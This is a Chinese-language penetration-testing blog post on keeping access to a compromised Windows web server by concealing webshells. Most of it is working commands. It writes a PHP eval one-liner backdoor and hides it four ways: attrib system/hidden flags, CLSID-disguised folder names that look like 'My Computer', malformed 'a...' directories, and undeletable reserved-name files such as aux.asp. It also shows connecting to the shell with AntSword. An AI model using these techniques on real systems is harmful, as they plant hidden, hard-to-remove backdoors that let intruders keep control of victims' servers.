0x01 前言

当我们进行渗透测试的过程中,拿下来一台机器的权限,如果对这台主机做一个长久的控制,是我们要考虑的事情.所以通过本篇文章,我们旨在告诉大家,在Windows系统下的一些权限维持的方法,包括了webshell的维持和木马的可持续控制等等.

0x02 正文

0x02-1 隐藏文件夹隐藏Webshell

在我们进行渗透测试的过程中,如果拿到了一台Windows主机的Webshell,可以通过创建隐藏文件的形式,来将我们的webshell木马进行隐藏. 典型命令如下:

attrib +s +a +h +r [目标文件夹]

这条命令的含义是将原本的文件夹添加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性
案例演示: 我们拿下了一台Windows主机的webshell,通过中国蚁剑我们连接上去,成功进入虚拟终端. 在一句话木马的当前目录下创建新文件夹,并写入新的木马,继而将含有木马的文件夹进行隐藏. 命令如下:

mkdir tmp #创建隐藏文件夹,此时尚未隐藏
cd tmp #进入创建的文件夹
echo ^<?php @eval($_POST['123']); ?^> >> tt.php #写入Webshell至tmp目录下
cd ../ #返回上一级目录
attrib +s +a +h +r tmp #对创建的文件夹进行隐藏

此时受害者在自己的目录下是看不到我们创建的文件夹的(除非开启显示隐藏文件[默认不开启])

命令执行

此时我们进行拼接,连接上我们的Webshell,发现成功连接.

链接成功

0x02-2 利用系统代号隐藏Webshell

创建一个新建文件夹,将木马放入这个文件夹,重命名文件夹名称为"Computer.{20D04FE0-3AEA-1069-A2D8-08002B30309D}",此时会发现文件夹变成了我的电脑,双击进入的也是正常的我的电脑的页面

mkdir Computer.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
cd Computer.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
echo ^<?php @eval($_POST['123']); ?^> >> tt.php

命令执行
效果

通过拼接文件夹名,使用中国蚁剑进行木马连接,例如

http://127.0.0.1/Computer.{20D04FE0-3AEA-1069-A2D8-08002B30309D}/tt.php

发现可以成功连接到Webshell里去.

链接成功

类似的可用的特殊文件名的代号还有:

我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
回收站.{645ff040-5081-101b-9f08-00aa002f954e}
拔号网络.{992CFFA0-F557-101A-88EC-00DD010CCC48}
打印机.{2227a280-3aea-1069-a2de-08002b30309d}
控制面板.{21ec2020-3aea-1069-a2dd-08002b30309d}
网上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}

0x02-3 畸形目录隐藏Webshell

首先在终端里创建一个畸形目录,命令如下

mkdir a...\

然后使用命令Copy命令将木马移动到畸形目录下,注意一定是命令行里移动的

copy b.asp C:\inetpub\wwwroot\a...\b.asp

此时访问进入a...文件夹下,会发现不存在b.asp.

删除方法:使用如下命令可删除畸形目录

rd /s /q [畸形文件夹]

0x02-4 利用系统保留名制作不死Webshell

在Windows操作系统中,是不能以下形式创建文件的,比如aux,com1,com2,prn,con,nul等.但是在cmd目录下可以通过copy语句创建,这类文件无法在图形化界面被删除,只能在命令行中被删除. 创建不死Webshell命令如下:

copy tt.asp \\.\E:\git_code\Rainy\aux.asp

命令执行效果

0x03 总结

本文总结了几种比较常见的Webshell隐藏方法,当然权限维持的方法并不局限于此,希望大家能够有所收获,同时经测试第三种和第四种测试PHP是无法连接成功的,需要是asp文件才可以,也就是说需要的环境也是有要求的

最后修改:2022 年 04 月 26 日
-